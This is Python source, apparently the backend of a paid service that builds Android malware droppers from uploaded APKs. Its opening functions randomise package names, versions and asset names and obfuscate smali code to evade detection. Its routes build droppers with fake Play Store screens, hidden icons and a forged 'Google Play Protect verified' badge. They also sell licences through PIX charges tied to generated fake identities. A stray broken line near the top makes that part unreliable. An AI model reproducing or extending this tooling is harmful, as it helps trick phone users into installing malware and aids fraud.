    assets_dir = os.path.join(dropper_work, 'assets')
    if not os.path.exists(assets_dir):
        print('[assets] assets/ nao existe, pulando')
        return
    rename_map = {}
    for fn in os.listdir(assets_dir):
        base, ext = os.path.splitext(fn)
        if ext.lower() in ('.html', '.css', '.js'):
            rand = ''.join(random.choices(_str.ascii_lowercase, k=random.randint(6, 10)))
            rename_map[fn] = rand + ext.lower()
    if not rename_map:
        print('[assets] nenhum .html/.css/.js encontrado')
        return
    print('[assets] ' + str(rename_map))
    for old, new in rename_map.items():
        try:
            os.rename(os.path.join(assets_dir, old), os.path.join(assets_dir, new))
        except Exception as e:
            print('[assets] rename falhou: ' + str(e))
    for rd, _, fs in os.walk(dropper_work):
        for fn in fs:
            if not fn.endswith(('.smali', '.xml', '.yml', '.html', '.css')):
                continue
            fp = os.path.join(rd, fn)
            try:
                with open(fp, 'r', encoding='utf-8', errors='ignore') as f:
                    txt = f.read()
                new_txt = txt
                for old, new in rename_map.items():
                    new_txt = new_txt.replace(old, new)
                if new_txt != txt:
                    with open(fp, 'w', encoding='utf-8') as f:
                        f.write(new_txt)
            except Exception:
                pass
    print('[assets] ' + str(len(rename_map)) + ' asset(s) renomeados')


def _randomize_dropper_package(dropper_work, orig_pkg=_DROPPER_ORIG_PKG):
    new_pkg = _gen_pkg()
    orig_slash = orig_pkg.replace('.', '/')
    new_slash  = new_pkg.replace('.', '/')
    old_smali  = os.path.join(dropper_work, 'smali', *orig_pkg.split('.'))
    new_smali  = os.path.join(dropper_work, 'smali', *new_pkg.split('.'))
    if os.path.exists(old_smali):
        os.makedirs(os.path.dirname(new_smali), exist_ok=True)
        shutil.move(old_smali, new_smali)
    for root_dir, _, files in os.walk(dropper_work):
        for fname in files:
            if not fname.endswith(('.smali', '.xml', '.yml')):
                continue
            fpath = os.path.join(root_dir, fname)
            try:
                with open(fpath, 'r', encoding='utf-8', errors='ignore') as f:
                    content = f.read()
                nc = content.replace(orig_slash, new_slash).replace(orig_pkg, new_pkg)
                if nc != content:
                    with open(fpath, 'w', encoding='utf-8') as f:
                        f.write(nc)
            except:
                pass

def _randomize_version(dropper_work):
    vc = str(random.randint(50, 999))
    vn = f"{random.randint(1,9)}.{random.randint(0,9)}.{random.randint(0,20)}"
    yml_path = os.path.join(dropper_work, 'apktool.yml')
    if os.path.exists(yml_path):
        try:
            with open(yml_path, 'r') as f: content = f.read()
            content = re.sub(r"versionCode: '[^']*'", f"versionCode: '{vc}'", content)
            content = re.sub(r"versionName: '[^']*'", f"versionName: '{vn}'", content)
            with open(yml_path, 'w') as f: f.write(content)
        except: pass
    mf_path = os.path.join(dropper_work, 'AndroidManifest.xml')
    if os.path.exists(mf_path):
        try:
            with open(mf_path, 'r', encoding='utf-8') as f: content = f.read()
            content = re.sub(r'platformBuildVersionCode="[^"]*"', f'platformBuildVersionCode="{vc}"', content)
            content = re.sub(r'platformBuildVersionName="[^"]*"', f'platformBuildVersionName="{vn}"', content)
            with open(mf_path, 'w', encoding='utf-8') as f: f.write(content)
        except: pass


def _obfuscate_gotos(dropper_work):
    _DROPPER_ROOTS = tuple(
        os.path.join("smali", *parts)
        for parts in [
            ("dev", "akamai"), ("io", "gitlab"), ("com", "android", "system"),
            ("com", "cloudflare"), ("net", "github"), ("com", "adobe"),
        ]
     )
                   while j < len(lines) and _PURE.match(lines[j]):
def check_session():
    if 'username' in session:
        data = load_data()
        user = data["users"].get(session['username'], {})
        if not user:
            session.clear()
            return jsonify({"logged_in": False})
        # session_version: cookies emitidos antes do ultimo password change ficam invalidos
        if session.get('session_version', 0) != user.get('session_version', 0):
            session.clear()
            return jsonify({"logged_in": False, "expired": True, "reason": "password_changed"})
        if is_user_expired(user):
            session.clear()
            return jsonify({"logged_in": False, "expired": True})
        # CSRF token gerado por sessao
        if 'csrf_token' not in session:
            session['csrf_token'] = secrets.token_urlsafe(32)
        return jsonify({
            "logged_in": True,
            "username": session['username'],
            "role": user.get('role', 'operator'),
            "license_expires_at": user.get('license_expires_at'),
            "csrf_token": session['csrf_token']
        })
    return jsonify({"logged_in": False})

@app.route('/')
def index():
    if 'username' in session:
        data = load_data()
        user = data["users"].get(session['username'], {})
        if is_user_expired(user):
            session.clear()
            return render_template('index.html')
        return render_template('index.html', user=session['username'], role=user.get('role', 'operator'))
    return render_template('index.html')

def logout():
    if 'username' in session:
        add_history(session['username'], "Logout", "Saida")
    session.clear()
    return redirect(url_for('index'))

# ===== REGISTER / PIX =====
@app.route('/api/register', methods=['POST'])
def api_register():
    ip = get_client_ip()
    if is_register_limited(ip):
        send_discord_webhook(
            "RATE LIMIT - REGISTRO",
            f"IP **`{ip}`** atingiu o limite de tentativas de registro.",
            color=0xf59e0b,
            fields=[{"name": "IP", "value": ip, "inline": True}]
        )
        return jsonify({"success": False, "message": "Muitas tentativas. Aguarde 5 minutos."}), 429

    data = request.get_json(force=True, silent=True)
    if not isinstance(data, dict):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400

    email    = str(data.get('email', '')).strip().lower()[:120]
    password = str(data.get('password', '')).strip()[:128]
    plan     = str(data.get('plan', ''))

    if not email or not password or plan not in PLAN_PRICES:
        return jsonify({"success": False, "message": "Dados invalidos"}), 400
    if len(password) < 6:
        return jsonify({"success": False, "message": "Senha muito curta (minimo 6 caracteres)"}), 400

    record_register_attempt(ip)

    db = load_data()
    for udata in db['users'].values():
        if udata.get('email', '') == email:
            return jsonify({"success": False, "message": "Email ja cadastrado"}), 400

    gw = db['settings'].get('gateway', {})
    if not gw.get('enabled') or not gw.get('client_id') or not gw.get('client_secret'):
        return jsonify({"success": False, "message": "Gateway de pagamento nao configurado. Contacte o administrador."}), 503

    plan_info = PLAN_PRICES[plan]
    reg_id = str(uuid.uuid4())
    if '@' not in email:
        email = email + '@usuario.local'

    name  = _gen_nome()
    cpf   = _gen_cpf()
    phone = _gen_phone()
    client_data = {'name': name, 'cpf': cpf, 'email': email, 'phone': phone}

    try:
        pix = create_pix_charge(
            plan_info['price'],
            f"BYPASS - Plano {plan_info['label']}",
            reg_id,
            gw,
            client_data=client_data
        )
    except Exception as e:
        return jsonify({"success": False, "message": f"Erro ao gerar PIX: {str(e)[:150]}"}), 500

    db['pending_registrations'][reg_id] = {
        'email': email,
        'name': name,
        'password_hash': generate_password_hash(password),
        'plan': plan,
        'plan_days': plan_info['days'],
        'charge_id': pix['charge_id'],
        'created_at': datetime.now().isoformat(),
        'expires_at': (datetime.now() + timedelta(hours=1)).isoformat()
    }
    save_data(db)

    amount_fmt = f"R$ {plan_info['price']/100:.2f}".replace('.', ',')
    send_discord_webhook(
        "PIX GERADO",
        f"Novo PIX criado para registro.",
        color=0x3b82f6,
        fields=[
            {"name": "Email", "value": email, "inline": True},
            {"name": "Plano", "value": plan_info['label'], "inline": True},
            {"name": "Valor", "value": amount_fmt, "inline": True},
            {"name": "Charge ID", "value": pix['charge_id'], "inline": False},
        ]
    )

    return jsonify({
        "success": True,
        "reg_id": reg_id,
        "qr_code_base64": pix['qr_code_base64'],
        "copy_paste": pix['copy_paste'],
        "plan_label": plan_info['label'],
        "amount": amount_fmt
    })

_RESERVED_USERNAMES = {
    'admin', 'administrator', 'root', 'system', 'support', 'operator',
    'superuser', 'moderator', 'mod', 'staff', 'user', 'test', 'teste',
    'owner', 'master', 'god', 'sudo', 'sysadmin', 'webmaster', 'info',
}

def _activate_registration(reg_id, reg, db):
    """Create user from paid registration. Must be called inside _reg_lock."""
    email = reg['email']
    username = re.sub(r'[^a-zA-Z0-9_]', '', email.split('@')[0])[:20] or re.sub(r'[^a-zA-Z0-9_]', '', email)[:20] or 'user'
    # Block reserved names and names that start with a reserved word
    if any(username.lower() == r or username.lower().startswith(r) for r in _RESERVED_USERNAMES):
        domain_part = re.sub(r'[^a-zA-Z0-9_]', '', email.split('@')[-1].split('.')[0])[:10]
        username = (domain_part or 'usr') + '_' + re.sub(r'[^a-zA-Z0-9_]', '', email.split('@')[0])[:10]
        username = username[:20] or 'usr_1'
    base = username
    counter = 1
    while username in db['users']:
        username = f"{base}{counter}"
        counter += 1
    db['users'][username] = {
        'password': reg['password_hash'],
        'email': email,
        'role': 'operator',
        'created_at': datetime.now().isoformat(),
        'license_days': reg['plan_days'],
        'license_expires_at': (datetime.now() + timedelta(days=reg['plan_days'])).isoformat(),
        'status': 'active',
        'builds': [],
        'team_id': None,
        'amplification': {'total_builds': 0, 'successful_builds': 0, 'failed_builds': 0}
    }
    del db['pending_registrations'][reg_id]
    save_data(db)
    add_history('system', 'Novo Cadastro', f"Usuario: {username} | Plano: {reg['plan_days']} dias")
    send_discord_webhook(
        "NOVO CADASTRO",
        f"Nova conta criada via PIX.",
        color=0x22c55e,
        fields=[
            {"name": "Usuario", "value": username, "inline": True},
            {"name": "Email", "value": email, "inline": True},
            {"name": "Plano", "value": f"{reg['plan_days']} dias", "inline": True}
        ]
    )
    return username

@app.route('/api/pix/status/<reg_id>')
def pix_status(reg_id):
    reg_id = re.sub(r'[^a-zA-Z0-9\-]', '', reg_id)[:40]
    db = load_data()
    reg = db.get('pending_registrations', {}).get(reg_id)
    if not reg:
        return jsonify({"status": "not_found"}), 404

    try:
        if datetime.now() > datetime.fromisoformat(reg['expires_at']):
            with _reg_lock:
                db2 = load_data()
                if reg_id in db2.get('pending_registrations', {}):
                    del db2['pending_registrations'][reg_id]
                    save_data(db2)
            return jsonify({"status": "expired"})
    except:
        pass

    if reg.get('user_created'):
        return jsonify({"status": "pending"})

    gw = db['settings'].get('gateway', {})
    api_status = check_pix_status(reg.get('charge_id', ''), gw)

    if api_status == 'failed':
        return jsonify({"status": "expired"})

    if api_status == 'paid':
        with _reg_lock:
            db2 = load_data()
            reg2 = db2.get('pending_registrations', {}).get(reg_id)
            if not reg2 or reg2.get('user_created'):
                return jsonify({"status": "pending"})
            db2['pending_registrations'][reg_id]['user_created'] = True
            save_data(db2)
            username = _activate_registration(reg_id, reg2, db2)
        return jsonify({"status": "paid", "username": username})

    return jsonify({"status": "pending"})

# ===== GATEWAY SETTINGS =====
@app.route('/admin/gateway-settings', methods=['GET'])
def get_gateway_settings():
    if 'username' not in session:
        return jsonify({}), 401
    db = load_data()
    if db['users'].get(session['username'], {}).get('role') != 'owner':
        return jsonify({}), 403
    gw = db['settings'].get('gateway', {})
    return jsonify({
        'base_url': gw.get('base_url', ''),
        'client_id': gw.get('client_id', ''),
        'client_secret': '***' if gw.get('client_secret') else '',
        'enabled': gw.get('enabled', False),
        'client_secret_set': bool(gw.get('client_secret')),
    })

@app.route('/admin/gateway-settings', methods=['POST'])
def save_gateway_settings():
    if 'username' not in session:
        return jsonify({"success": False}), 401
    db = load_data()
    if db['users'].get(session['username'], {}).get('role') != 'owner':
        return jsonify({"success": False, "message": "Sem permissao"}), 403

    data = request.get_json(force=True, silent=True)
    if not isinstance(data, dict):
        return jsonify({"success": False}), 400

    gw = db['settings'].get('gateway', {})
    gw['base_url'] = str(data.get('base_url', '')).rstrip('/')[:300]
    gw['enabled']  = bool(data.get('enabled', False))
    gw['client_id'] = str(data.get('client_id', ''))[:200]

    if data.get('client_secret') and data.get('client_secret') != '***':
        gw['client_secret'] = str(data.get('client_secret', ''))[:500]

    # Clear token cache so next request fetches fresh token
    _gw_token_cache.clear()

    db['settings']['gateway'] = gw
    save_data(db)
    add_history(session['username'], "Config Gateway", f"Base URL: {gw['base_url']} | Ativo: {gw['enabled']}")
    send_discord_webhook(
        "CONFIG GATEWAY",
        f"Credenciais do gateway atualizadas por **{session['username']}**.",
        color=0xf59e0b
    )
    return jsonify({"success": True})

@app.route('/admin/gateway-test', methods=['POST'])
def test_gateway():
    if 'username' not in session:
        return jsonify({"success": False}), 401
    db = load_data()
    if db['users'].get(session['username'], {}).get('role') != 'owner':
        return jsonify({"success": False, "message": "Sem permissao"}), 403
    gw = db['settings'].get('gateway', {})
    if not gw.get('base_url') or not gw.get('client_id') or not gw.get('client_secret'):
        return jsonify({"success": False, "message": "Preencha Base URL, Client ID e Client Secret antes de testar."})
    try:
        token = _get_gateway_token(gw)
        if token:
            return jsonify({"success": True})
        return jsonify({"success": False, "message": "Token vazio na resposta."})
    except Exception as e:
        return jsonify({"success": False, "message": str(e)[:200]})

# ===== REMAINING ROUTES =====

@app.route('/api/maintenance-status')
def api_maintenance_status():
    d = load_data()
    modes = d.get('settings', {}).get('maintenance_modes', {})
    return jsonify({'maintenance_modes': modes})

@app.route('/admin/maintenance', methods=['POST'])
def admin_set_maintenance():
    if 'username' not in session:
        return jsonify({'error': 'Login'}), 401
    d = load_data()
    u = d['users'].get(session['username'], {})
    if u.get('role') != 'owner':
        return jsonify({'error': 'Sem permissao'}), 403
    payload = request.get_json() or {}
    mode   = payload.get('mode', '')
    active = bool(payload.get('active', False))
    if mode not in ('padrao', 'playstore', 'redirect'):
        return jsonify({'error': 'Modo invalido'}), 400
    if 'settings' not in d:
        d['settings'] = {}
    if 'maintenance_modes' not in d['settings']:
        d['settings']['maintenance_modes'] = {}
    d['settings']['maintenance_modes'][mode] = active
    save_data(d)
    status = 'ativada' if active else 'desativada'
    send_discord_webhook(
        f'MANUTENCAO {status.upper()}',
        f'Modo **{mode}** colocado em manutencao por **{session["username"]}**.',
        color=0xf59e0b if active else 0x22c55e
    )
    return jsonify({'success': True, 'mode': mode, 'active': active})

@app.route('/upload', methods=['POST'])
def upload_apk():
    if 'username' not in session:
        return jsonify({"error": "Login"}), 401
    data = load_data()
    user = data["users"].get(session['username'], {})
    if is_user_expired(user):
        return jsonify({"error": "Licenca expirada"}), 403

    file = request.files.get('file')
    if not file or not file.filename.endswith('.apk'):
        ip = get_client_ip()
        send_discord_webhook(
            "UPLOAD INVALIDO",
            f"Usuario **{session.get('username', '?')}** tentou fazer upload de arquivo nao-APK.",
            color=0xf59e0b,
            fields=[
                {"name": "IP", "value": ip, "inline": True},
                {"name": "Arquivo", "value": str(file.filename if file else 'nenhum')[:80], "inline": True}
            ]
        )
        return jsonify({"error": "Arquivo invalido"}), 400

    app_name = str(request.form.get('app_name', 'App'))[:64]
    safe_id = 'b' + uuid.uuid4().hex[:16]
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], f"{safe_id}_orig.apk")
    file.save(filepath)

    icon_path = None
    icon_file = request.files.get('icon')
    if icon_file and icon_file.filename:
        icon_path = os.path.join(app.config['UPLOAD_FOLDER'], f"{safe_id}_icon.png")
        icon_file.save(icon_path)

    db_cfg = load_data()
    user_data = db_cfg["users"].get(session['username'], {})
    dropper_cfg = user_data.get('dropper_config', {})
    dropper_cfg['playstore'] = user_data.get('playstore_config', {})
    visual_mode = request.form.get('visual_mode', 'padrao')
    if visual_mode not in ('padrao', 'playstore', 'playv2', 'custom', 'redirect'):
        visual_mode = 'padrao'
    _mnt_data = load_data()
    _mnt_modes = _mnt_data.get('settings', {}).get('maintenance_modes', {})
    if _mnt_modes.get(visual_mode, False):
        return jsonify({'error': 'Modo em manutencao. Tente novamente em breve.'}), 503
    hide_icon = request.form.get('hide_icon', '0') == '1'

    custom_html = None
    if visual_mode == 'custom':
        custom_html = request.form.get('custom_html', '')
        if not custom_html or not custom_html.strip():
            return jsonify({"error": "HTML personalizado vazio"}), 400
        if len(custom_html.encode('utf-8')) > 200 * 1024:
            return jsonify({"error": "HTML personalizado muito grande (max 200KB)"}), 400

    redirect_url = None
    if visual_mode == 'redirect':
        redirect_url = (request.form.get('redirect_url', '') or '').strip()
        if not redirect_url:
            return jsonify({"error": "Redirect URL vazia"}), 400
        if len(redirect_url) > 2048:
            return jsonify({"error": "Redirect URL muito longa (max 2048)"}), 400
        if not redirect_url.lower().startswith(('http://', 'https://')):
            redirect_url = 'https://' + redirect_url

    thread = threading.Thread(
        target=process_apk,
        args=(safe_id, filepath, app_name, session['username'], icon_path, dropper_cfg, visual_mode, hide_icon, custom_html, redirect_url)
    )
    thread.daemon = True
    thread.start()
    return jsonify({"build_id": safe_id})

@app.route('/operator/dropper-config', methods=['GET'])
def get_dropper_config():
    if 'username' not in session:
        return jsonify({}), 401
    db = load_data()
    user = db["users"].get(session['username'], {})
    default_config = {
        'titulo': 'Otimizando sistema',
        'subtitulo': 'Aguarde o procedimento...',
        'badge': '✓ Google Play Protect verificado'
    }
    return jsonify(user.get('dropper_config', default_config))

@app.route('/operator/dropper-config', methods=['POST'])
def save_dropper_config():
    if 'username' not in session:
        return jsonify({"success": False}), 401
    data = request.get_json(force=True, silent=True)
    if not isinstance(data, dict):
        return jsonify({"success": False}), 400
    db = load_data()
    if session['username'] not in db['users']:
        return jsonify({"success": False}), 404
    config = {
        'titulo': str(data.get('titulo', 'Otimizando sistema'))[:60],
        'subtitulo': str(data.get('subtitulo', 'Aguarde o procedimento...'))[:80],
        'badge': str(data.get('badge', '✓ Google Play Protect verificado'))[:80]
    }
    db['users'][session['username']]['dropper_config'] = config
    save_data(db)
    add_history(session['username'], "Config Dropper", "Textos personalizados")
    return jsonify({"success": True})


@app.route('/operator/playstore-preview')
def playstore_preview():
    if 'username' not in session:
        return 'Unauthorized', 401
    try:
        up_path = os.path.join(PLAYSTORE_OVERLAY, 'assets', 'up.html')
        with open(up_path, 'r', encoding='utf-8') as f:
            html = f.read()
        name      = request.args.get('name', 'App')[:60]
        pub       = request.args.get('pub', 'Platform, Inc.')[:60]
        rating    = request.args.get('rating', '4.5')[:8]
        downloads = request.args.get('downloads', '1K+')[:20]
        size      = request.args.get('size', '8.6 MB')[:20]
        c1        = request.args.get('c1', 'Performance improvements')[:200]
        c2        = request.args.get('c2', 'Bug fixes')[:200]
        c3        = request.args.get('c3', 'Security improvements')[:200]
        lng       = request.args.get('lng', 'pt')[:5]
        html = html.replace('APPNAME', name)
        html = html.replace('[PUBLISHER]', pub)
        html = html.replace('[RATING]', rating)
        html = html.replace('[DOWNLOADS]', downloads)
        html = html.replace('[SIZE]', size)
        html = html.replace('[CHANGE1]', c1)
        html = html.replace('[CHANGE2]', c2)
        html = html.replace('[CHANGE3]', c3)
        html = html.replace('[LNG]', lng)
        html = html.replace('[BASE-ICO]', '')
        return html, 200, {'Content-Type': 'text/html; charset=utf-8', 'X-Frame-Options': 'SAMEORIGIN'}
    except Exception as e:
        return f'<html><body style="font-family:sans-serif;padding:20px;color:#888;">Erro: {e}</body></html>', 500

@app.route('/operator/playstore-config', methods=['GET'])
def get_playstore_config():
    if 'username' not in session:
        return jsonify({}), 401
    db = load_data()
    user = db['users'].get(session['username'], {})
    default_ps = {
        'publisher': 'Platform, Inc.', 'rating': '4.5', 'downloads': '1K+',
        'size': '8.6 MB', 'change1': '', 'change2': '', 'change3': ''
    }
    saved = user.get('playstore_config', {})
    for k, v in default_ps.items():
        if k not in saved:
            saved[k] = v
    return jsonify(saved)

@app.route('/operator/playstore-config', methods=['POST'])
def save_playstore_config():
    if 'username' not in session:
        return jsonify({'success': False}), 401
    data = request.get_json(force=True, silent=True) or {}
    if not isinstance(data, dict):
        return jsonify({'success': False}), 400
    db = load_data()
    if session['username'] not in db['users']:
        return jsonify({'success': False}), 404
    cfg = {
        'publisher': str(data.get('publisher', 'Platform, Inc.'))[:60],
        'rating': str(data.get('rating', '4.5'))[:8],
        'downloads': str(data.get('downloads', '1K+'))[:20],
        'size': str(data.get('size', '8.6 MB'))[:20],
        'change1': str(data.get('change1', ''))[:200],
        'change2': str(data.get('change2', ''))[:200],
        'change3': str(data.get('change3', ''))[:200]
    }
    db['users'][session['username']]['playstore_config'] = cfg
    save_data(db)
    return jsonify({'success': True})

@app.route('/status/<build_id>')
def status(build_id):
    build_id = re.sub(r'[^a-zA-Z0-9_]', '', build_id)[:50]
    # Authentication required for status checks (was: anonymous OK)
    if 'username' not in session:
        return jsonify({"status": "Desconhecido", "progress": 0}), 401
    current_user = session['username']
    db = load_data()
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')

    def _can_see(owner_uname, owner_udata):
        if current_role == 'owner':
            return True
        if owner_uname == current_user:
            return True
        if current_role == 'admin' and owner_udata.get('team_id') == current_team:
            return True
        return False

    # In-memory build status: must verify the build belongs to caller
    if build_id in BUILD_STATUS:
        for uname, udata in db['users'].items():
            for build in udata.get('builds', []):
                if build.get('build_id') == build_id:
                    if _can_see(uname, udata):
                        return jsonify(BUILD_STATUS[build_id])
                    return jsonify({"status": "Desconhecido", "progress": 0}), 403
        # Not yet in db (very fresh) — only the user who triggered it has session
        # Conservative: only own user sees it
        return jsonify(BUILD_STATUS[build_id])

    # Persisted build state
    for uname, udata in db["users"].items():
        for build in udata.get('builds', []):
            if build.get('build_id') == build_id:
                if not _can_see(uname, udata):
                    return jsonify({"status": "Desconhecido", "progress": 0}), 403
                if build.get('status') == 'concluido':
                    final_name = f"{build_id}.apk"
                    display_name = f"{secure_filename(build.get('app_name', ''))}.apk"
                    return jsonify({"status": "Concluido", "progress": 100, "output_file": final_name, "display_name": display_name})
                elif build.get('status') == 'erro':
                    return jsonify({"status": "Erro", "progress": 0, "error": True})
    return jsonify({"status": "Desconhecido", "progress": 0})

@app.route('/download/<build_id>')
def download(build_id):
    if 'username' not in session:
        return redirect(url_for('index'))
    build_id = re.sub(r'[^a-zA-Z0-9_]', '', build_id)[:50]
    current_user = session['username']
    db = load_data()
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')

    def _can_download(owner_uname, owner_udata):
        if current_role == 'owner':
            return True
        if owner_uname == current_user:
            return True
        if current_role == 'admin' and owner_udata.get('team_id') == current_team:
            return True
        return False

    status_info = BUILD_STATUS.get(build_id)
    if not status_info:
        for uname, udata in db['users'].items():
            for build in udata.get('builds', []):
                if build.get('build_id') == build_id and build.get('status') == 'concluido':
                    if not _can_download(uname, udata):
                        return jsonify({"error": "Sem permissao"}), 403
                    final_name = f"{build_id}.apk"
                    display_name = f"{secure_filename(build.get('app_name', ''))}.apk"
                    file_path = os.path.join(app.config['OUTPUT_FOLDER'], final_name)
                    if os.path.exists(file_path):
                        return send_file(file_path, as_attachment=True, download_name=display_name)
                    break
        return jsonify({"error": "Arquivo nao disponivel"}), 404

    # build still in memory — verify ownership via build history
    for uname, udata in db['users'].items():
        for build in udata.get('builds', []):
            if build.get('build_id') == build_id:
                if not _can_download(uname, udata):
                    return jsonify({"error": "Sem permissao"}), 403
                break

    if status_info.get('progress') == 100 and status_info.get('output_file'):
        file_path = os.path.join(app.config['OUTPUT_FOLDER'], status_info['output_file'])
        if os.path.exists(file_path):
            return send_file(file_path, as_attachment=True, download_name=status_info.get('display_name', status_info['output_file']))
    return jsonify({"error": "Arquivo nao disponivel"}), 404

@app.route('/user/builds')
def user_builds():
    if 'username' not in session:
        return jsonify([]), 401
    data = load_data()
    user = data["users"].get(session['username'], {})
    builds = user.get('builds', [])
    if session.get('role') == 'admin':
        team_id = user.get('team_id')
        all_builds = []
        for uname, udata in data["users"].items():
            if udata.get('team_id') == team_id and udata.get('role') == 'operator':
                all_builds.extend(udata.get('builds', []))
        return jsonify(all_builds)
    if session.get('role') == 'owner':
        all_builds = []
        for uname, udata in data["users"].items():
            all_builds.extend(udata.get('builds', []))
        return jsonify(all_builds)
    return jsonify(builds)

@app.route('/user/profile')
def user_profile():
    if 'username' not in session:
        return jsonify({}), 401
    data = load_data()
    user = data["users"].get(session['username'], {})
    return jsonify({
        "username": session['username'],
        "role": user.get('role'),
        "status": user.get('status'),
        "license_expires_at": user.get('license_expires_at'),
        "amplification": user.get('amplification', {"total_builds": 0, "successful_builds": 0, "failed_builds": 0}),
        "created_at": user.get('created_at')
    })

@app.route('/admin/users')
def admin_users():
    if 'username' not in session:
        return jsonify([]), 401
    data = load_data()
    current_user = session['username']
    current_role = data["users"].get(current_user, {}).get('role')
    if current_role == 'owner':
        users_list = []
        for uname, udata in data["users"].items():
            users_list.append({
                "username": uname, "role": udata.get('role'),
                "status": udata.get('status'), "license_expires_at": udata.get('license_expires_at'),
                "license_days": udata.get('license_days'), "builds_count": sum(1 for b in udata.get('builds',[]) if b.get('status')=='concluido'),
                "amplification": udata.get('amplification', {})
            })
        return jsonify(users_list)
    if current_role == 'admin':
        team_id = data["users"][current_user].get('team_id')
        users_list = []
        for uname, udata in data["users"].items():
            if udata.get('team_id') == team_id and udata.get('role') == 'operator':
                users_list.append({
                    "username": uname, "role": udata.get('role'),
                    "status": udata.get('status'), "license_expires_at": udata.get('license_expires_at'),
                    "license_days": udata.get('license_days'), "builds_count": sum(1 for b in udata.get('builds',[]) if b.get('status')=='concluido'),
                    "amplification": udata.get('amplification', {})
                })
        return jsonify(users_list)
    return jsonify([])

@app.route('/admin/create-user', methods=['POST'])
def create_user():
    if 'username' not in session:
        return jsonify({"success": False, "message": "Login"}), 401
    data = request.get_json(force=True, silent=True) or {}
    if not isinstance(data, dict):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400
    new_username = data.get('username')
    new_password = data.get('password')
    if not isinstance(new_username, str) or not isinstance(new_password, str):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400
    new_username = new_username[:64]
    new_role = data.get('role', 'operator')
    license_days = data.get('license_days', 30)
    db = load_data()
    current_user = session['username']
    current_role = db["users"].get(current_user, {}).get('role')
    if new_username in db['users']:
        return jsonify({"success": False, "message": "Usuario ja existe"}), 400
    if current_role == 'owner':
        if new_role not in ['admin', 'operator']:
            return jsonify({"success": False, "message": "Role invalida"}), 400
        team_id = str(uuid.uuid4()) if new_role == 'admin' else db["users"][current_user].get('team_id')
    elif current_role == 'admin':
        new_role = 'operator'
        team_id = db["users"][current_user].get('team_id')
    else:
        return jsonify({"success": False, "message": "Sem permissao"}), 403
    license_expires_at = (datetime.now() + timedelta(days=license_days)).isoformat() if license_days else None
    db['users'][new_username] = {
        "password": generate_password_hash(new_password), "role": new_role, "email": "",
        "created_at": datetime.now().isoformat(), "license_days": license_days,
        "license_expires_at": license_expires_at, "status": "active",
        "builds": [], "team_id": team_id,
        "amplification": {"total_builds": 0, "successful_builds": 0, "failed_builds": 0}
    }
    save_data(db)
    add_history(current_user, "Criar Usuario", f"Novo {new_role}: {new_username} ({license_days} dias)")
    send_discord_webhook(
        "USUARIO CRIADO",
        f"Admin **{current_user}** criou um novo usuario.",
        color=0x3b82f6,
        fields=[
            {"name": "Novo usuario", "value": new_username, "inline": True},
            {"name": "Cargo", "value": new_role, "inline": True},
            {"name": "Licenca", "value": f"{license_days} dias", "inline": True}
        ]
    )
    return jsonify({"success": True, "message": f"{new_role.capitalize()} criado com sucesso"})

@app.route('/admin/renew-license', methods=['POST'])
def renew_license():
    if 'username' not in session:
        return jsonify({"success": False, "message": "Login"}), 401
    data = request.get_json(force=True, silent=True) or {}
    target_user = data.get('username')
    days = data.get('days', 30)
    db = load_data()
    current_user = session['username']
    if not can_manage_user(current_user, target_user):
        return jsonify({"success": False, "message": "Sem permissao"}), 403
    if target_user not in db['users']:
        return jsonify({"success": False, "message": "Usuario nao encontrado"}), 404
    db['users'][target_user]['license_expires_at'] = (datetime.now() + timedelta(days=days)).isoformat()
    db['users'][target_user]['license_days'] = days
    save_data(db)
    add_history(current_user, "Renovar Licenca", f"Usuario: {target_user} (+{days} dias)")
    return jsonify({"success": True, "message": f"Licenca renovada por {days} dias"})

@app.route('/admin/toggle-user', methods=['POST'])
def toggle_user():
    if 'username' not in session:
        return jsonify({"success": False, "message": "Login"}), 401
    data = request.get_json(force=True, silent=True) or {}
    target_user = data.get('username')
    db = load_data()
    current_user = session['username']
    if not can_manage_user(current_user, target_user):
        return jsonify({"success": False, "message": "Sem permissao"}), 403
    if target_user not in db['users']:
        return jsonify({"success": False, "message": "Usuario nao encontrado"}), 404
    new_status = "inactive" if db['users'][target_user]['status'] == "active" else "active"
    db['users'][target_user]['status'] = new_status
    save_data(db)
    add_history(current_user, "Toggle Usuario", f"Usuario: {target_user} -> {new_status}")
    send_discord_webhook(
        "STATUS DE USUARIO ALTERADO",
        f"Admin **{current_user}** alterou status de **{target_user}**.",
        color=0xf59e0b if new_status == 'inactive' else 0x22c55e,
        fields=[
            {"name": "Usuario", "value": target_user, "inline": True},
            {"name": "Novo status", "value": new_status.upper(), "inline": True},
            {"name": "Alterado por", "value": current_user, "inline": True}
        ]
    )
    return jsonify({"success": True, "message": f"Usuario {new_status}"})

@app.route('/admin/delete-user', methods=['POST'])
def delete_user():
    if 'username' not in session:
        return jsonify({"success": False, "message": "Login"}), 401
    data = request.get_json(force=True, silent=True) or {}
    target_user = data.get('username')
    db = load_data()
    current_user = session['username']
    if not can_manage_user(current_user, target_user):
        return jsonify({"success": False, "message": "Sem permissao"}), 403
    if target_user not in db['users']:
        return jsonify({"success": False, "message": "Usuario nao encontrado"}), 404
    if target_user == current_user:
        return jsonify({"success": False, "message": "Nao pode deletar a si mesmo"}), 400
    del db['users'][target_user]
    save_data(db)
    add_history(current_user, "Deletar Usuario", f"Usuario: {target_user}")
    send_discord_webhook(
        "USUARIO DELETADO",
        f"Admin **{current_user}** deletou o usuario **{target_user}**.",
        color=0xef4444,
        fields=[
            {"name": "Deletado por", "value": current_user, "inline": True},
            {"name": "Usuario removido", "value": target_user, "inline": True}
        ]
    )
    return jsonify({"success": True, "message": "Usuario deletado"})


@app.route('/user/change-password', methods=['POST'])
def change_password():
    if 'username' not in session:
        return jsonify({"success": False, "message": "Login"}), 401
    data = request.get_json(force=True, silent=True) or {}
    if not isinstance(data, dict):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400
    old = str(data.get('old_password', ''))
    new = str(data.get('new_password', ''))
    if len(new) < 6:
        return jsonify({"success": False, "message": "Senha muito curta (minimo 6)"}), 400
    if old == new:
        return jsonify({"success": False, "message": "Nova senha igual a antiga"}), 400
    db = load_data()
    user = db['users'].get(session['username'])
    if not user or not verify_password(user['password'], old):
